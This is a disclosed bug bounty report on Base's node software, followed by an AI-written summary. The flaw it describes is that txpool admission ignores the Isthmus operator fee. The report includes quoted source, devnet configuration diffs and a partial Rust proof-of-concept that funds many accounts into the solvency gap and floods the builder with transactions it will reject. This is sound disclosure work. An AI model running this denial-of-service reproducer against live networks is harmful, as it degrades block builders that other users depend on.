Txpool admission omits operator fee solvency
The transaction pool's admission check only adds the L1 data fee to a transaction's cost, while execution also charges the Isthmus operator fee, so a sender can pick a balance that passes admission but fails execution. Because the builder rebuilds its transaction iterator each flashblock, the same rejected transactions are reconsidered repeatedly, degrading builder CPU and polluting the pending pool.
- Disclosed after under an hour
74891 bc insight txpool admission omits operator fee solvency
Submitted on Apr 25th 2026 at 17:36:09 UTC by @y4y for Audit Comp | Base Azul
- Report ID: #74891
- Report Type: Blockchain/DLT
- Report severity: Insight
- Target: https://github.com/base/base/tree/v0.8.0-rc.24
- Impacts:
- Causing network processing nodes to process transactions from the mempool beyond set parameters
Description
Brief/Intro
When Isthmus operator fees are active, txpool admission and execution disagree about the sender balance required for the same non-deposit transaction. The txpool path only checks:
tx.cost + l1_data_fee
while execution later charges:
tx.cost + l1_data_fee + operator_fee
Any public sender can therefore choose a balance inside that solvency gap and submit a transaction that is accepted into the mempool, propagated, and picked up by the builder, but deterministically rejected during execution as LackOfFundForMaxFee.
In Base's flashblocks path this is not a one-shot rejection. The invalid transaction is only marked invalid in the current transaction iterator, while the next flashblock refreshes a new iterator from the same pool contents. The same bad transaction can therefore be reconsidered and rejected repeatedly.
Vulnerability Details
The txpool validator only adds the L1 data fee to the ordinary EIP-1559 max cost before deciding whether the sender can afford the transaction:
// base/crates/execution/txpool/src/validator.rs
let cost_addition = match l1_block_info.l1_tx_data_fee(
chain_spec.clone(),
timestamp,
&encoded,
false,
) {
Ok(cost) => cost,
Err(err) => {
return TransactionValidationOutcome::Error(*valid_tx.hash(), Box::new(err));
}
};
let cost = valid_tx.transaction().cost().saturating_add(cost_addition);
if cost > balance {
return TransactionValidationOutcome::Invalid(
valid_tx.into_transaction(),
InvalidTransactionError::InsufficientFunds(
GotExpected { got: balance, expected: cost }.into(),
)
.into(),
);
}
The helper used there excludes the operator fee and returns only the L1 data component:
// base/crates/execution/evm/src/l1.rs
fn l1_tx_data_fee(
&mut self,
chain_spec: impl Upgrades,
timestamp: u64,
input: &[u8],
is_deposit: bool,
) -> Result<U256, BlockExecutionError> {
if is_deposit {
return Ok(U256::ZERO);
}
let spec_id = op_spec_id(&chain_spec, timestamp);
Ok(self.calculate_tx_l1_cost(input, spec_id))
}
Execution uses a stricter cost function. tx_cost_with_tx() delegates to tx_cost(), which adds the operator fee whenever Isthmus is active:
// base/crates/common/evm/src/l1block.rs
pub fn tx_cost_with_tx(&mut self, tx: impl OpTxTr, spec: OpSpecId) -> Option<U256> {
let enveloped_tx = tx.enveloped_tx()?;
let gas_limit = U256::from(tx.gas_limit());
Some(self.tx_cost(enveloped_tx, gas_limit, spec))
}
pub fn tx_cost(&mut self, enveloped_tx: &[u8], gas_limit: U256, spec: OpSpecId) -> U256 {
let mut additional_cost = self.calculate_tx_l1_cost(enveloped_tx, spec);
if spec.is_enabled_in(OpSpecId::ISTHMUS) {
let operator_fee_charge = self.operator_fee_charge(enveloped_tx, gas_limit, spec);
additional_cost = additional_cost.saturating_add(operator_fee_charge);
}
additional_cost
}
That stricter total is deducted before ordinary execution proceeds:
// base/crates/common/evm/src/handler.rs
let Some(additional_cost) = chain.tx_cost_with_tx(tx, spec) else {
return Err(ERROR::from_string(
"[OPTIMISM] Failed to load enveloped transaction.".into(),
));
};
let Some(new_balance) = balance.checked_sub(additional_cost) else {
return Err(InvalidTransaction::LackOfFundForMaxFee {
fee: Box::new(additional_cost),
balance: Box::new(balance),
}
.into());
};
balance = new_balance
Concrete example from the verified local PoC:
- attack tx
gas_limit = 400000 - attack tx
max_fee_per_gas = 3003000000 l1_data_fee = 122operator_fee = 1000000000000000
So:
tx.cost = 1201200000000000
validation_total = 1201200000000122
execution_total = 2201200000000122
chosen_sender_balance = 1451200000000150
This satisfies:
validation_total <= chosen_sender_balance < execution_total
so the transaction is admitted by txpool but cannot pass execution solvency.
The repeated resource drain happens because flashblocks refreshes a new best-tx iterator on each flashblock:
// base/crates/builder/core/src/flashblocks/payload.rs
best_txs.refresh_iterator(BestPayloadTransactions::new(
self.pool.best_transactions_with_attributes(ctx.best_transaction_attributes()),
));
When execution rejects the transaction, the builder only marks it invalid in the current iterator:
// base/crates/builder/core/src/flashblocks/context.rs
if let Some(err) = err.as_invalid_tx_err() {
if err.is_nonce_too_low() {
...
} else {
let diag_err = TxnExecutionError::InternalError(err.clone());
diag.record_rejection(&diag_err);
log_txn(Err(diag_err));
trace!(target: "payload_builder", %err, ?tx, "skipping invalid transaction and its descendants");
best_txs.mark_invalid(tx.signer(), tx.nonce());
}
continue;
}
That invalidation is local to the active iterator:
// reth/crates/transaction-pool/src/pool/best.rs
pub(crate) fn mark_invalid(
&mut self,
tx: &Arc<ValidPoolTransaction<T::Transaction>>,
_kind: &InvalidPoolTransactionError,
) {
self.invalid.insert(tx.sender_id());
}
So the next flashblock reconstructs the iterator from the pool and sees the same bad transaction again.
The pre-condition for this to happen is:
- Isthmus or later rules are active, so operator fees are charged.
- The sender submits a normal non-deposit transaction whose balance satisfies:
tx.cost + l1_data_fee <= balance < tx.cost + l1_data_fee + operator_fee. - The transaction reaches the public txpool and builder path.
- For meaningful amplification, the attacker uses many EOAs or repeats the pattern across many nonces/accounts.
This does not require malformed input, a compromised signer, a trusted-role mistake, or any non-default deployment assumption beyond public transaction submission.
Impact Details
- invalid-but-admitted transactions enter and persist in the mempool;
- builders repeatedly pull them into flashblock selection;
- execution rejects them as underfunded only after builder work has already been spent;
- the transactions remain
Knownand visible intxpool_content, so the work repeats.
That gives an attacker a repeatable CPU / builder-throughput degradation primitive plus pending-pool pollution. On the verified local runs:
128attacker EOAs stayedKnown, stayed intxpool_content, and produced76repeated128 considered / 0 included / 128 rejectedflashblock cycles with peak builder CPU55.59%.512attacker EOAs stayedKnown, stayed intxpool_content, and pushed the same builder to peak CPU88.47%.
The resource effect scaled much more clearly in CPU than RAM on local hardware, which is consistent with a repeated selection-and-reject workload rather than a simple memory leak.
References
- base/crates/execution/txpool/src/validator.rs:181-255
- base/crates/common/evm/src/l1block.rs:259-281
- base/crates/common/evm/src/handler.rs:154-174
- base/crates/builder/core/src/flashblocks/payload.rs:572-575
- base/crates/builder/core/src/flashblocks/context.rs:821-845
- reth/crates/transaction-pool/src/pool/best.rs:110-117
Proof of Concept
Logging-only txpool admission proof
File:
crates/execution/txpool/src/validator.rs
Why this change exists:
- the underlying bug already existed;
- this patch only emits a warning when a transaction passes txpool solvency but would fail executor solvency after operator fee is added;
- it does not alter txpool admission behavior.
Exact diff:
diff --git a/crates/execution/txpool/src/validator.rs b/crates/execution/txpool/src/validator.rs
index ba93bdaaa..e23b22bac 100644
--- a/crates/execution/txpool/src/validator.rs
+++ b/crates/execution/txpool/src/validator.rs
@@ -4,8 +4,9 @@ use std::sync::{
};
use alloy_consensus::{BlockHeader, Transaction};
+use alloy_primitives::U256;
use base_common_chains::Upgrades;
-use base_common_evm::L1BlockInfo;
+use base_common_evm::{L1BlockInfo, OpSpecId};
use base_execution_evm::RethL1BlockInfo;
use parking_lot::RwLock;
use reth_chainspec::ChainSpecProvider;
@@ -19,6 +20,7 @@ use reth_transaction_pool::{
EthPoolTransaction, EthTransactionValidator, TransactionOrigin, TransactionValidationOutcome,
TransactionValidator,
};
+use tracing::warn;
use crate::OpPooledTx;
@@ -196,12 +198,14 @@ where
} = outcome
{
let mut l1_block_info = self.block_info.l1_block_info.read().clone();
+ let chain_spec = self.chain_spec();
+ let timestamp = self.block_timestamp();
let encoded = valid_tx.transaction().encoded_2718();
let cost_addition = match l1_block_info.l1_tx_data_fee(
- self.chain_spec(),
- self.block_timestamp(),
+ chain_spec.clone(),
+ timestamp,
&encoded,
false,
) {
@@ -211,6 +215,33 @@ where
}
};
let cost = valid_tx.transaction().cost().saturating_add(cost_addition);
+ let spec_id = OpSpecId::from_timestamp(chain_spec.as_ref(), timestamp);
+ let operator_fee = if spec_id.is_enabled_in(OpSpecId::ISTHMUS) {
+ l1_block_info.operator_fee_charge(
+ &encoded,
+ U256::from(valid_tx.transaction().gas_limit()),
+ spec_id,
+ )
+ } else {
+ U256::ZERO
+ };
+ let execution_cost = cost.saturating_add(operator_fee);
+
+ if !operator_fee.is_zero() && cost <= balance && execution_cost > balance {
+ warn!(
+ target: "txpool",
+ tx_hash = %valid_tx.hash(),
+ sender = %valid_tx.transaction().sender(),
+ nonce = valid_tx.nonce(),
+ balance = %balance,
+ txpool_cost = %cost,
+ execution_cost = %execution_cost,
+ l1_data_fee = %cost_addition,
+ operator_fee = %operator_fee,
+ gas_limit = valid_tx.transaction().gas_limit(),
+ "accepted tx whose balance passes txpool checks but fails executor max-fee solvency",
+ );
+ }
// Checks for max cost
if cost > balance {
Devnet operator-fee plumbing
These files exist only so the local devnet can reproduce the Isthmus operator fee path with a non-zero constant.
devnet/src/setup/container.rs
diff --git a/devnet/src/setup/container.rs b/devnet/src/setup/container.rs
index 2ab2bfa96..1dc874de1 100644
--- a/devnet/src/setup/container.rs
+++ b/devnet/src/setup/container.rs
@@ -197,6 +197,10 @@ impl SetupContainer {
let l2_output_mount = self.output_dir.join("l2").to_string_lossy().to_string();
let deployer_key = format!("0x{}", hex::encode(DEPLOYER.private_key.as_slice()));
+ let operator_fee_scalar =
+ std::env::var("L2_OPERATOR_FEE_SCALAR").unwrap_or_else(|_| "0".to_string());
+ let operator_fee_constant =
+ std::env::var("L2_OPERATOR_FEE_CONSTANT").unwrap_or_else(|_| "0".to_string());
let image = GenericImage::new("devnet-setup", "local")
.with_wait_for(WaitFor::exit(ExitWaitStrategy::default().with_exit_code(0)));
@@ -218,6 +222,8 @@ impl SetupContainer {
.with_env_var("CHALLENGER_ADDR", format!("{:#x}", CHALLENGER.address))
.with_env_var("BUILDER_P2P_KEY", format!("{:#x}", BUILDER.private_key))
.with_env_var("BUILDER_ENODE_ID", BUILDER_ENODE_ID)
+ .with_env_var("L2_OPERATOR_FEE_SCALAR", operator_fee_scalar)
+ .with_env_var("L2_OPERATOR_FEE_CONSTANT", operator_fee_constant)
.with_mount(Mount::bind_mount(l2_output_mount, "/output/l2"))
.with_mount(Mount::bind_mount(shared_mount, "/shared"))
.with_cmd(["setup-l2.sh"])
etc/docker/devnet-env
diff --git a/etc/docker/devnet-env b/etc/docker/devnet-env
index cb3c8d622..43784819e 100644
--- a/etc/docker/devnet-env
+++ b/etc/docker/devnet-env
@@ -153,6 +153,10 @@ L2_CHAIN_ID=84538453
# Optional: set to a non-negative block number to schedule Base V1 in devnet.
# Leave unset to avoid setting base.v1/osakaTime during genesis generation.
L2_BASE_V1_BLOCK=20
+# Optional: enable a non-zero operator fee in devnet for txpool/executor PoCs.
+# Defaults preserve the existing zero-fee devnet behavior.
+L2_OPERATOR_FEE_SCALAR=0
+L2_OPERATOR_FEE_CONSTANT=0
etc/scripts/devnet/setup-l2.sh
diff --git a/etc/scripts/devnet/setup-l2.sh b/etc/scripts/devnet/setup-l2.sh
index a1404d216..8fe403f55 100644
--- a/etc/scripts/devnet/setup-l2.sh
+++ b/etc/scripts/devnet/setup-l2.sh
@@ -8,16 +8,28 @@ L1_CHAIN_ID="${L1_CHAIN_ID:-1337}"
L2_DATA_DIR="${L2_DATA_DIR:-/data}"
TEMPLATE_DIR="${TEMPLATE_DIR:-/templates}"
L2_BASE_V1_BLOCK="${L2_BASE_V1_BLOCK:-}"
+L2_OPERATOR_FEE_SCALAR="${L2_OPERATOR_FEE_SCALAR:-0}"
+L2_OPERATOR_FEE_CONSTANT="${L2_OPERATOR_FEE_CONSTANT:-0}"
if [ -n "$L2_BASE_V1_BLOCK" ] && ! [[ "$L2_BASE_V1_BLOCK" =~ ^[0-9]+$ ]]; then
echo "ERROR: L2_BASE_V1_BLOCK must be a non-negative integer when set, got: $L2_BASE_V1_BLOCK"
exit 1
fi
+for var_name in L2_OPERATOR_FEE_SCALAR L2_OPERATOR_FEE_CONSTANT; do
+ value="${!var_name}"
+ if ! [[ "$value" =~ ^[0-9]+$ ]]; then
+ echo "ERROR: $var_name must be a non-negative integer, got: $value"
+ exit 1
+ fi
+done
+
echo "=== L2 Genesis Generator (Live Deployment) ==="
echo "L1 RPC URL: $L1_RPC_URL"
echo "L1 Chain ID: $L1_CHAIN_ID"
echo "L2 Chain ID: $L2_CHAIN_ID"
+echo "Operator fee scalar: $L2_OPERATOR_FEE_SCALAR"
+echo "Operator fee constant: $L2_OPERATOR_FEE_CONSTANT"
if [ -n "$L2_BASE_V1_BLOCK" ]; then
echo "Base V1 activation block: $L2_BASE_V1_BLOCK"
else
@@ -82,7 +94,7 @@ echo "Configuring intent.toml for devnet..."
L2_CHAIN_ID_HEX=$(printf "0x%064x" $L2_CHAIN_ID)
# Export variables for envsubst
-export L1_CHAIN_ID L2_CHAIN_ID_HEX DEPLOYER_ADDR SEQUENCER_ADDR BATCHER_ADDR PROPOSER_ADDR CHALLENGER_ADDR SEQ1_P2P_KEY SEQ2_P2P_KEY
+export L1_CHAIN_ID L2_CHAIN_ID_HEX DEPLOYER_ADDR SEQUENCER_ADDR BATCHER_ADDR PROPOSER_ADDR CHALLENGER_ADDR SEQ1_P2P_KEY SEQ2_P2P_KEY L2_OPERATOR_FEE_SCALAR L2_OPERATOR_FEE_CONSTANT
envsubst <"$TEMPLATE_DIR/l2-intent.toml.template" >"$INTENT_FILE"
etc/scripts/devnet/templates/l2-intent.toml.template
diff --git a/etc/scripts/devnet/templates/l2-intent.toml.template b/etc/scripts/devnet/templates/l2-intent.toml.template
index 48c0ca994..79f6d014b 100644
--- a/etc/scripts/devnet/templates/l2-intent.toml.template
+++ b/etc/scripts/devnet/templates/l2-intent.toml.template
@@ -20,8 +20,8 @@ l2ContractsLocator = "embedded"
eip1559Denominator = 50
eip1559Elasticity = 6
gasLimit = 60000000
- operatorFeeScalar = 0
- operatorFeeConstant = 0
+ operatorFeeScalar = ${L2_OPERATOR_FEE_SCALAR}
+ operatorFeeConstant = ${L2_OPERATOR_FEE_CONSTANT}
chainFeesRecipient = "${DEPLOYER_ADDR}"
minBaseFee = 1000000000
daFootprintGasScalar = 0
Builder log visibility
File:
etc/docker/docker-compose.yml
Why this change exists:
- the live flashblocks path already logs invalid transactions at
trace; - without this filter, the builder still shows
rejection_reasons=["other"], but the explicitlack of fundsreason is hidden.
Exact diff:
diff --git a/etc/docker/docker-compose.yml b/etc/docker/docker-compose.yml
index c9084577e..01b225c28 100644
--- a/etc/docker/docker-compose.yml
+++ b/etc/docker/docker-compose.yml
@@ -152,6 +152,8 @@ services:
- L1_CHAIN_ID=${L1_CHAIN_ID}
- L2_CHAIN_ID=${L2_CHAIN_ID}
- L2_BASE_V1_BLOCK=${L2_BASE_V1_BLOCK-}
+ - L2_OPERATOR_FEE_SCALAR=${L2_OPERATOR_FEE_SCALAR:-0}
+ - L2_OPERATOR_FEE_CONSTANT=${L2_OPERATOR_FEE_CONSTANT:-0}
- OUTPUT_DIR=/devnet/l2/configs
- L2_DATA_DIR=/data
- DEPLOYER_ADDR=${DEPLOYER_ADDR}
@@ -193,6 +195,7 @@ services:
- --datadir=/data
- --tracing-otlp=http://jaeger:4318
- --tracing-otlp.filter=debug,providers::state::overlay=off,trie=off
+ - --log.stdout.filter=info,payload_builder=trace
- --telemetry.sampling-ratio=1
- --http
- --http.addr=0.0.0.0
The E2E PoC driver
Files:
devnet/examples/h06_operator_fee_gap.rsdevnet/Cargo.tomlCargo.lock
Why these changes exist:
- the example is the actual E2E reproducer;
- it computes live
l1_data_feeandoperator_feefrom on-chain state; - it funds accounts into the exact solvency gap;
- it sends the attack transactions;
- it verifies that they remain
Known, remain intxpool_content, and never get mined during the observation window; - it samples
docker statsso the run records resource impact; - it cleans up the attack senders afterward.
Dependency wiring:
diff --git a/devnet/Cargo.toml b/devnet/Cargo.toml
index 280b73873..ca7d7e348 100644
--- a/devnet/Cargo.toml
+++ b/devnet/Cargo.toml
@@ -88,4 +88,6 @@ alloy-eips = { workspace = true, features = ["std"] }
alloy-consensus = { workspace = true, features = ["std"] }
# base-alloy
+base-common-consensus.workspace = true
+base-common-evm.workspace = true
base-common-rpc-types.workspace = true
diff --git a/Cargo.lock b/Cargo.lock
index 2b82b014a..f63ff53bc 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -7143,6 +7143,8 @@ dependencies = [
"base-batcher-service",
"base-builder-core",
"base-bundle-extension",
+ "base-common-consensus",
+ "base-common-evm",
"base-common-network",
"base-common-rpc-types",
"base-consensus-disc",
The actual PoC, put under base/devnet/examples/operator_fee_gap.rs:
//! End-to-end PoC for H-06: txpool admission can omit operator-fee solvency.
use std::{
collections::HashSet,
fs,
path::PathBuf,
process::Command,
time::{Duration, Instant},
};
use alloy_consensus::{SignableTransaction, Transaction};
use alloy_eips::eip2718::Encodable2718;
use alloy_genesis::Genesis;
use alloy_network::TransactionBuilder;
use alloy_primitives::{Address, Bytes, TxHash, U256};
use alloy_provider::{Provider, RootProvider};
use alloy_signer::SignerSync;
use alloy_signer_local::PrivateKeySigner;
use base_common_consensus::Predeploys;
use base_common_evm::{
BASE_FEE_SCALAR_OFFSET, BLOB_BASE_FEE_SCALAR_OFFSET, DA_FOOTPRINT_GAS_SCALAR_OFFSET,
ECOTONE_L1_BLOB_BASE_FEE_SLOT, ECOTONE_L1_FEE_SCALARS_SLOT, L1_BASE_FEE_SLOT, L1BlockInfo,
OPERATOR_FEE_CONSTANT_OFFSET, OPERATOR_FEE_SCALAR_OFFSET, OPERATOR_FEE_SCALARS_SLOT, OpSpecId,
};
use base_common_network::Base;
use base_common_rpc_types::BaseTransactionRequest;
use base_execution_chainspec::BaseChainSpec;
use eyre::{Context, ContextCompat, Result, bail, ensure};
use jsonrpsee::{
core::client::ClientT,
http_client::{HttpClient, HttpClientBuilder},
rpc_params,
};
use serde::{Deserialize, Serialize};
use serde_json::Value;
use tokio::time::sleep;
use url::Url;
const DEFAULT_RPC_URL: &str = "http://127.0.0.1:7545";
const DEFAULT_GENESIS_PATH: &str = ".devnet/l2/configs/genesis.json";
const DEFAULT_FUNDER_KEY: &str =
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
const DEFAULT_RECIPIENT: &str = "0x000000000000000000000000000000000000dEaD";
const DEFAULT_SENDERS: usize = 128;
const DEFAULT_CALLDATA_BYTES: usize = 8192;
const DEFAULT_GAS_LIMIT: u64 = 400_000;
const DEFAULT_OBSERVE_BLOCKS: u64 = 4;
const DEFAULT_POLL_INTERVAL_MS: u64 = 1000;
const DEFAULT_OPERATOR_FEE_MARGIN_WEI: u64 = 250_000_000_000_000;
const DEFAULT_DOCKER_CONTAINER: &str = "base-builder";
const FUNDING_CHUNK_SIZE: usize = 12;
#[derive(Debug)]
struct Options {
rpc_url: Url,
genesis_path: PathBuf,
funder_key: String,
senders: usize,
call_data_bytes: usize,
gas_limit: u64,
observe_blocks: u64,
poll_interval: Duration,
cleanup: bool,
docker_container: Option<String>,
}
#[derive(Debug, Clone)]
struct SignedTxArtifact {
hash: TxHash,
raw: Bytes,
tx_cost: U256,
gas_limit: u64,
}
#[derive(Debug, Clone)]
struct AttackPlan {
signer: PrivateKeySigner,
artifact: SignedTxArtifact,
l1_data_fee: U256,
operator_fee: U256,
validation_total: U256,
execution_total: U256,
desired_balance: U256,
}
#[derive(Debug, Clone, Deserialize)]
struct StatusResponse {
status: String,
}
#[derive(Debug, Default, Clone)]
struct DockerStatsSample {
cpu_percent: Option<f64>,
mem_usage_bytes: Option<u64>,
cpu_raw: Option<String>,
mem_raw: Option<String>,
}
#[derive(Debug, Default, Clone)]
struct DockerStatsPeak {
cpu_percent: f64,
mem_usage_bytes: u64,
cpu_raw: Option<String>,
mem_raw: Option<String>,
}
#[derive(Debug, Serialize)]
struct RunSummary {
rpc_url: String,
senders: usize,
calldata_bytes: usize,
gas_limit: u64,
attack_txs_known: usize,
attack_txs_mined: usize,
txpool_hash_hits: usize,
total_seed_balance_wei: String,
total_attack_raw_bytes: usize,
total_operator_fee_wei: String,
total_l1_data_fee_wei: String,
first_hash: Option<String>,
peak_builder_cpu: Option<String>,
peak_builder_mem: Option<String>,
}
#[tokio::main]
async fn main() -> Result<()> {
let opts = parse_args()?;
let rpc_client = HttpClientBuilder::default()
.build(opts.rpc_url.as_str())
.wrap_err("failed to build JSON-RPC client")?;
let provider = RootProvider::<Base>::new_http(opts.rpc_url.clone());
let funder: PrivateKeySigner = opts.funder_key.parse().wrap_err("invalid funder key")?;
let recipient: Address = DEFAULT_RECIPIENT.parse().wrap_err("invalid recipient")?;
let chain_spec = load_chain_spec(&opts.genesis_path)?;
let chain_id = provider.get_chain_id().await.wrap_err("failed to fetch chain id")?;
let gas_price = provider.get_gas_price().await.wrap_err("failed to fetch gas price")?;
let max_priority_fee_per_gas = 1_000_000u128;
let max_fee_per_gas = gas_price.saturating_mul(3).max(2_000_000_000);
let attack_input = Bytes::from(vec![0x01; opts.call_data_bytes]);
println!("Using RPC: {}", opts.rpc_url);
println!("Funder: {:#x}", funder.address());
println!(
"Target builder container for stats: {}",
opts.docker_container.as_deref().unwrap_or("<disabled>")
);
println!(
"Attack shape: {} senders, {} calldata bytes, gas limit {}",
opts.senders, opts.call_data_bytes, opts.gas_limit
);
ensure_funder_balance(&provider, funder.address(), opts.senders, U256::from(10u64.pow(16)))
.await?;
let attackers: Vec<PrivateKeySigner> =
(0..opts.senders).map(|_| PrivateKeySigner::random()).collect();
println!("Preparing seed-funding batch...");
let mut plans = build_attack_plans(
&opts,
&rpc_client,
&chain_spec,
&attackers,
recipient,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
attack_input.clone(),
)
.await?;
let total_seed_balance =
plans.iter().fold(U256::ZERO, |sum, plan| sum.saturating_add(plan.desired_balance));
println!("Seed capital required: {} ETH", format_ether(total_seed_balance));
let funder_nonce = provider
.get_transaction_count(funder.address())
.pending()
.await
.wrap_err("failed to fetch funder pending nonce")?;
let funding_hashes = send_seed_funding(
&provider,
&funder,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
funder_nonce,
&plans,
)
.await?;
println!("Funding confirmed in {} seed txs.", funding_hashes.len());
println!("Funding confirmed. Rechecking exact solvency gap against latest L1 data...");
plans = build_attack_plans(
&opts,
&rpc_client,
&chain_spec,
&attackers,
recipient,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
attack_input,
)
.await?;
let funder_topup_nonce = provider
.get_transaction_count(funder.address())
.pending()
.await
.wrap_err("failed to fetch funder nonce before top-up")?;
let topup_hashes = send_topups_if_needed(
&provider,
&funder,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
funder_topup_nonce,
&plans,
)
.await?;
if !topup_hashes.is_empty() {
println!("Applied {} funding top-ups after L1 fee drift.", topup_hashes.len());
}
plans = build_attack_plans(
&opts,
&rpc_client,
&chain_spec,
&attackers,
recipient,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
Bytes::from(vec![0x01; opts.call_data_bytes]),
)
.await?;
ensure_gap_balances(&provider, &plans).await?;
let baseline_stats = sample_docker_stats(opts.docker_container.as_deref()).await;
if let Some(sample) = &baseline_stats {
println!(
"Builder baseline: cpu={} mem={}",
sample.cpu_raw.as_deref().unwrap_or("?"),
sample.mem_raw.as_deref().unwrap_or("?"),
);
}
println!("Submitting attack transactions...");
let attack_hashes = send_attack_batch(&provider, &plans).await?;
let attack_hash_set: HashSet<String> =
attack_hashes.iter().map(|hash| format!("{hash:#x}")).collect();
let start_block = latest_block_number(&rpc_client).await?;
let mut peak = DockerStatsPeak::default();
let deadline_block = start_block + opts.observe_blocks;
let mut last_seen_block = start_block;
while last_seen_block < deadline_block {
let current_block = latest_block_number(&rpc_client).await?;
if current_block > last_seen_block {
last_seen_block = current_block;
}
let known = count_known_statuses(&rpc_client, &attack_hashes).await?;
let mined = count_mined_receipts(&provider, &attack_hashes).await?;
let txpool_hits = count_hashes_in_txpool(&rpc_client, &attack_hash_set).await?;
if let Some(sample) = sample_docker_stats(opts.docker_container.as_deref()).await {
update_peak(&mut peak, &sample);
println!(
"block={} known={}/{} mined={} txpool_hits={} cpu={} mem={}",
current_block,
known,
attack_hashes.len(),
mined,
txpool_hits,
sample.cpu_raw.as_deref().unwrap_or("?"),
sample.mem_raw.as_deref().unwrap_or("?"),
);
} else {
println!(
"block={} known={}/{} mined={} txpool_hits={}",
current_block,
known,
attack_hashes.len(),
mined,
txpool_hits,
);
}
sleep(opts.poll_interval).await;
}
let final_known = count_known_statuses(&rpc_client, &attack_hashes).await?;
let final_mined = count_mined_receipts(&provider, &attack_hashes).await?;
let final_txpool_hits = count_hashes_in_txpool(&rpc_client, &attack_hash_set).await?;
ensure!(
final_known == attack_hashes.len(),
"expected all attack txs to stay known in txpool, only {final_known}/{} remained",
attack_hashes.len(),
);
ensure!(
final_mined == 0,
"expected attack txs to remain unmined, but {final_mined} were included"
);
ensure!(
final_txpool_hits == attack_hashes.len(),
"expected all attack txs to remain visible in txpool_content, only {final_txpool_hits}/{} were present",
attack_hashes.len(),
);
let summary = RunSummary {
rpc_url: opts.rpc_url.to_string(),
senders: opts.senders,
calldata_bytes: opts.call_data_bytes,
gas_limit: opts.gas_limit,
attack_txs_known: final_known,
attack_txs_mined: final_mined,
txpool_hash_hits: final_txpool_hits,
total_seed_balance_wei: total_seed_balance.to_string(),
total_attack_raw_bytes: plans.iter().map(|plan| plan.artifact.raw.len()).sum(),
total_operator_fee_wei: plans
.iter()
.fold(U256::ZERO, |sum, plan| sum.saturating_add(plan.operator_fee))
.to_string(),
total_l1_data_fee_wei: plans
.iter()
.fold(U256::ZERO, |sum, plan| sum.saturating_add(plan.l1_data_fee))
.to_string(),
first_hash: attack_hashes.first().map(|hash| format!("{hash:#x}")),
peak_builder_cpu: peak.cpu_raw.clone(),
peak_builder_mem: peak.mem_raw.clone(),
};
println!();
println!("Summary:");
println!("{}", serde_json::to_string_pretty(&summary)?);
if opts.cleanup {
println!("Dropping attack senders from the builder txpool...");
cleanup_attack_senders(&rpc_client, &plans).await?;
}
Ok(())
}
fn parse_args() -> Result<Options> {
let mut opts = Options {
rpc_url: Url::parse(DEFAULT_RPC_URL)?,
genesis_path: PathBuf::from(DEFAULT_GENESIS_PATH),
funder_
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The txpool validator computes affordability using only the L1 data fee, omitting the operator fee that the execution path adds once Isthmus is active.
Impact
An attacker could cause repeatable builder CPU and throughput degradation plus pending-pool pollution, with the effect scaling in CPU rather than memory on local hardware.
What the attacker needed
Isthmus or later rules active; Sender balance inside the solvency gap; Public transaction submission; Many EOAs or nonces for amplification
The fix
The txpool admission check should include the operator fee so its solvency total matches the execution path.
How it was found
- Activate Isthmus or later rules so operator fees are charged.
- Fund a sender with a balance between the txpool total and the execution total.
- Submit a normal non-deposit transaction from that sender.
- Observe it accepted into the mempool and propagated to the builder.
- Watch the builder repeatedly select and reject it across flashblocks.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you send a transaction, the node first checks you can afford it before passing it to the block builder. Here the check used a smaller total than the one actually charged later, so a transaction could slip through the first check and then be refused when it was about to run. The builder kept picking up the same refused transactions over and over, wasting work.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.